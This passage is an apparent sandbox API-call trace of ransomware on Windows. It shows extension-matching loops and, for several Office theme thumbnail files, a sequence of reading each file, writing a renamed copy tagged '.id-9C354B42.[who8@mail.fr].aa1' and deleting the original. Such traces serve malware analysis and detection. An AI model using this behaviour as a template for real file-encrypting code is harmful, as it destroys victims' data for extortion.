lpString2=".PNG") returned -1 [0218.849] lstrlenW (lpString=".7z") returned 3 [0218.849] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0218.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.849] lstrlenW (lpString=".dbf") returned 4 [0218.849] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0218.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.849] lstrlenW (lpString=".1cd") returned 4 [0218.849] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0218.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.849] lstrlenW (lpString=".jpg") returned 4 [0218.849] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0218.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.849] lstrlenW (lpString=".doc") returned 4 [0218.849] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0218.849] lstrlenW (lpString=".docx") returned 5 [0218.849] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0218.849] lstrlenW (lpString=".pdf") returned 4 [0218.849] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0218.849] lstrlenW (lpString=".xls") returned 4 [0218.849] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0218.850] lstrlenW (lpString=".xlsx") returned 5 [0218.850] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0218.850] lstrlenW (lpString=".ppt") returned 4 [0218.850] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0218.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.850] lstrlenW (lpString=".zip") returned 4 [0218.850] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0218.850] lstrlenW (lpString=".rar") returned 4 [0218.850] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0218.850] lstrlenW (lpString=".bz2") returned 4 [0218.850] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0218.850] lstrlenW (lpString=".7z") returned 3 [0218.850] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0218.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.850] lstrlenW (lpString=".dbf") returned 4 [0218.850] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0218.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.850] lstrlenW (lpString=".1cd") returned 4 [0218.850] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0218.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.850] lstrlenW (lpString=".jpg") returned 4 [0218.850] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0218.850] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0218.850] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0218.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0219.798] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=33009) returned 1 [0219.798] CloseHandle (hObject=0x1e4) returned 1 [0219.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0219.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0219.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0219.798] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.798] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0219.799] GetLastError () returned 0x0 [0219.799] ReadFile (in: hFile=0x1e4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0220.513] WriteFile (in: hFile=0x188, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0220.514] ReadFile (in: hFile=0x1e4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.514] WriteFile (in: hFile=0x188, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.515] SetEndOfFile (hFile=0x188) returned 1 [0220.515] CloseHandle (hObject=0x188) returned 1 [0220.515] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.515] SetEndOfFile (hFile=0x1e4) returned 1 [0220.516] CloseHandle (hObject=0x1e4) returned 1 [0220.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0220.517] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0220.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.517] lstrlenW (lpString=".doc") returned 4 [0220.517] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0220.517] lstrlenW (lpString=".docx") returned 5 [0220.517] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0220.517] lstrlenW (lpString=".pdf") returned 4 [0220.517] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0220.517] lstrlenW (lpString=".xls") returned 4 [0220.517] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0220.517] lstrlenW (lpString=".xlsx") returned 5 [0220.517] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0220.517] lstrlenW (lpString=".ppt") returned 4 [0220.517] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0220.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.517] lstrlenW (lpString=".zip") returned 4 [0220.517] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0220.517] lstrlenW (lpString=".rar") returned 4 [0220.517] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0220.517] lstrlenW (lpString=".bz2") returned 4 [0220.518] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0220.518] lstrlenW (lpString=".7z") returned 3 [0220.518] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0220.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.518] lstrlenW (lpString=".dbf") returned 4 [0220.518] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0220.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.518] lstrlenW (lpString=".1cd") returned 4 [0220.518] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0220.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.518] lstrlenW (lpString=".jpg") returned 4 [0220.518] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0220.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.518] lstrlenW (lpString=".doc") returned 4 [0220.518] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0220.518] lstrlenW (lpString=".docx") returned 5 [0220.518] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0220.518] lstrlenW (lpString=".pdf") returned 4 [0220.518] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0220.518] lstrlenW (lpString=".xls") returned 4 [0220.518] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0220.518] lstrlenW (lpString=".xlsx") returned 5 [0220.518] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0220.518] lstrlenW (lpString=".ppt") returned 4 [0220.518] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0220.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.519] lstrlenW (lpString=".zip") returned 4 [0220.519] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0220.519] lstrlenW (lpString=".rar") returned 4 [0220.519] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0220.519] lstrlenW (lpString=".bz2") returned 4 [0220.519] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0220.519] lstrlenW (lpString=".7z") returned 3 [0220.519] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0220.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.519] lstrlenW (lpString=".dbf") returned 4 [0220.519] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0220.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.519] lstrlenW (lpString=".1cd") returned 4 [0220.519] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0220.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0220.519] lstrlenW (lpString=".jpg") returned 4 [0220.519] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0220.519] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0220.519] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0220.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0220.779] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=31837) returned 1 [0220.779] CloseHandle (hObject=0x1a0) returned 1 [0220.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0220.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0220.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0220.780] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.780] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0220.780] GetLastError () returned 0x0 [0220.780] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0220.963] WriteFile (in: hFile=0x178, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0220.965] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.965] WriteFile (in: hFile=0x178, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.965] SetEndOfFile (hFile=0x178) returned 1 [0220.965] CloseHandle (hObject=0x178) returned 1 [0220.966] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.968] SetEndOfFile (hFile=0x1a0) returned 1 [0221.034] CloseHandle (hObject=0x1a0) returned 1 [0221.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.037] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0221.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.037] lstrlenW (lpString=".doc") returned 4 [0221.037] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.037] lstrlenW (lpString=".docx") returned 5 [0221.037] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.037] lstrlenW (lpString=".pdf") returned 4 [0221.037] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.038] lstrlenW (lpString=".xls") returned 4 [0221.038] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.038] lstrlenW (lpString=".xlsx") returned 5 [0221.038] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.038] lstrlenW (lpString=".ppt") returned 4 [0221.038] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.038] lstrlenW (lpString=".zip") returned 4 [0221.038] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.038] lstrlenW (lpString=".rar") returned 4 [0221.038] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.038] lstrlenW (lpString=".bz2") returned 4 [0221.038] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.038] lstrlenW (lpString=".7z") returned 3 [0221.038] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.038] lstrlenW (lpString=".dbf") returned 4 [0221.038] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.038] lstrlenW (lpString=".1cd") returned 4 [0221.038] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.038] lstrlenW (lpString=".jpg") returned 4 [0221.038] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.039] lstrlenW (lpString=".doc") returned 4 [0221.039] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.039] lstrlenW (lpString=".docx") returned 5 [0221.039] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.039] lstrlenW (lpString=".pdf") returned 4 [0221.039] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.039] lstrlenW (lpString=".xls") returned 4 [0221.039] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.039] lstrlenW (lpString=".xlsx") returned 5 [0221.039] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.039] lstrlenW (lpString=".ppt") returned 4 [0221.039] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.039] lstrlenW (lpString=".zip") returned 4 [0221.039] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.039] lstrlenW (lpString=".rar") returned 4 [0221.039] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.039] lstrlenW (lpString=".bz2") returned 4 [0221.039] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.039] lstrlenW (lpString=".7z") returned 3 [0221.039] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.039] lstrlenW (lpString=".dbf") returned 4 [0221.039] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.039] lstrlenW (lpString=".1cd") returned 4 [0221.040] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0221.040] lstrlenW (lpString=".jpg") returned 4 [0221.040] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.040] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0221.040] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0221.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0221.041] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=32607) returned 1 [0221.041] CloseHandle (hObject=0x1a0) returned 1 [0221.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0221.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0221.042] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.042] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0221.043] GetLastError () returned 0x0 [0221.043] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0221.119] WriteFile (in: hFile=0x178, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0221.387] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.387] WriteFile (in: hFile=0x178, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.387] SetEndOfFile (hFile=0x178) returned 1 [0221.387] CloseHandle (hObject=0x178) returned 1 [0221.387] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.387] SetEndOfFile (hFile=0x1a0) returned 1 [0221.388] CloseHandle (hObject=0x1a0) returned 1 [0221.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0221.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.389] lstrlenW (lpString=".doc") returned 4 [0221.389] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.389] lstrlenW (lpString=".docx") returned 5 [0221.389] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.389] lstrlenW (lpString=".pdf") returned 4 [0221.389] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.389] lstrlenW (lpString=".xls") returned 4 [0221.389] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.389] lstrlenW (lpString=".xlsx") returned 5 [0221.389] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.389] lstrlenW (lpString=".ppt") returned 4 [0221.389] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.389] lstrlenW (lpString=".zip") returned 4 [0221.389] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.389] lstrlenW (lpString=".rar") returned 4 [0221.389] lstrcmpiW 